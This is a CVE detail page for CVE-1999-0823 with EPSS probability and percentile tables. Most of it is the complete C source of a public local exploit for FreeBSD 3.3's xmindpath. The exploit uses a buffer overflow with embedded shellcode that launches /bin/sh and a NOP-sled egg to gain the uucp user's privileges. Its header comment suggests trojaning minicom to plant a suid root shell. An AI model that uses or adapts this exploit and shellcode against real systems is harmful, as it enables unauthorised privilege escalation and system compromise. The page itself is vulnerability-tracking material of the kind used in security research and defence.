CVE-1999-0823 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2	EPSS V3
2022-02-06	–	–	1.76%	–
2022-03-27	–	–	1.76%	–
2022-04-03	–	–	1.76%	–
2022-04-17	–	–	1.76%	–
2022-08-28	–	–	1.76%	–
2023-03-05	–	–	1.76%	–
2023-03-12	–	–	–	0.04%
2024-06-02	–	–	–	0.04%
2025-01-19	–	–	–	0.04%
2025-01-19	–	–	–	0.04,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-01-19	–

/* source: https://www.securityfocus.com/bid/839/info The version of xmindpath shipped with FreeBSD 3.3 can be locally exploited via overrunning a buffer of predefined length. It is possible to gain the effective userid of uucp through this vulnerability. It may be possible, after attaining uucp priviliges, to modify binaries to which uucp has write access to and trojan them to further elevate priviliges), ie: modify minicom so that when root runs it, drops a suid shell somewhere. */ /* * * FreeBSD 3.3 xmindpath exploit gives euid uucp * Compile: gcc -o xmindx xmindx.c * Usage: ./xmindx <offset> /path/to/mindpath -f $RET * Brock Tellier <btellier@usa.net> * */ #include <stdlib.h> #include <stdio.h> char shell[]= /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; #define EGGLEN 2048 #define RETLEN 279 #define ALIGN 3 #define NOP 0x90 int main(int argc, char *argv[]) { long int offset=0; int i; int egglen = EGGLEN; int retlen = RETLEN; long int addr = 0xbfbfcfa8; char egg[EGGLEN]; char ret[RETLEN]; if (argc == 2) offset = atoi(argv[1]); addr=addr + offset; fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n"); fprintf(stderr, "Brock Tellier btellier@usa.net\n"); fprintf(stderr, "Using addr: 0x%x\n", addr); memset(egg,NOP,egglen); memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell)); for(i=ALIGN;i< retlen;i+=4) *(int *)&ret[i]=addr; memcpy(egg, "EGG=", 4); putenv(egg); memcpy(ret,"RET=",4); putenv(ret); system("/usr/local/bin/bash"); }